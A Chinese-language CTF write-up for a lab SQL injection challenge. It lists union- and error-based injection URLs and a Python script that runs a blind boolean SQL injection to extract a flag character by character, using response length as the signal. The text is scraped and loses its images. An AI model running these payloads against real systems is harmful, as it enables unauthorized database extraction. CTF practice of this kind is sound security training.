1. 程式人生 > >實驗吧 | 簡單的sql注入之3

實驗吧 | 簡單的sql注入之3

模糊測試結果: 1)查詢成功返回 Hello ,查詢失敗無回顯。 2)查詢id = 1 ,2 ,3均有回顯。

2)再看一下現在在哪個庫裡面吧! payload3 = http://ctf5.shiyanbar.com/web/index_3.php?id=0’ union select concat(0x7e,database(),0x7e) --+ 結果:無回顯 payload4 = http://ctf5.shiyanbar.com/web/index_3.php?id=0’ union select count(*),concat(0x7e,database(),0x7e,floor(rand(0)*2))a from information_schema.tables group by a --+ 結果:無回顯 payload5 =

http://ctf5.shiyanbar.com/web/index_3.php?id=0’ or updatexml(1,concat(0x7e,(select database(),0x7e),1)–+ 結果:無回顯

4)檢視欄位長度 在這裡插入圖片描述

5)EXP:其原理就是把欄位內容分解成一位一位,然後一個個比較。

    #author:Travis Zeng
    import requests
    import time
    import string
    strings=string.digits+string.ascii_lowercase
    element=[]
    element_str=
'' FLAG=False def POC(x,j): url='http://ctf5.shiyanbar.com/web/index_3.php?id=' poc="1'and+ascii(substr((select+flag+from+flag)%%2C%d%%2C1))%%3D%d%%23" %(x,i) #猜測表名與欄位名都為flag。x是正在匹配的flag的字元位置,i是這個字元可能對應的ascii碼整數。 #%%是Python翻譯轉義字元%時用的。 #substr((select+flag+from+flag),%d,1)
#將select flag from flag後拿到的結果,從第x位開始,擷取1個字元,將這個字元轉換成ascii碼與i作比較。 print('testing url:'+url+poc) res=requests.get(url+poc) if res.headers['Content-Length']=='471': #因為當語句合法時(flag字元猜解正確),頁面始終返回的是Hello!那麼他的返回報文長度就是一定的,我們可以通過攔截返回包檢視報文長度。 return 1 else: return 0 for x in range(1,35): for i in range(30,129): if POC(x,i): element.append(i) break elif i==128: FLAG=True if FLAG: break for k in range(0,len(element)): element_str=element_str+chr(element[k]) print("Test Finish! ") print(element_str)

6)GetFlag 在這裡插入圖片描述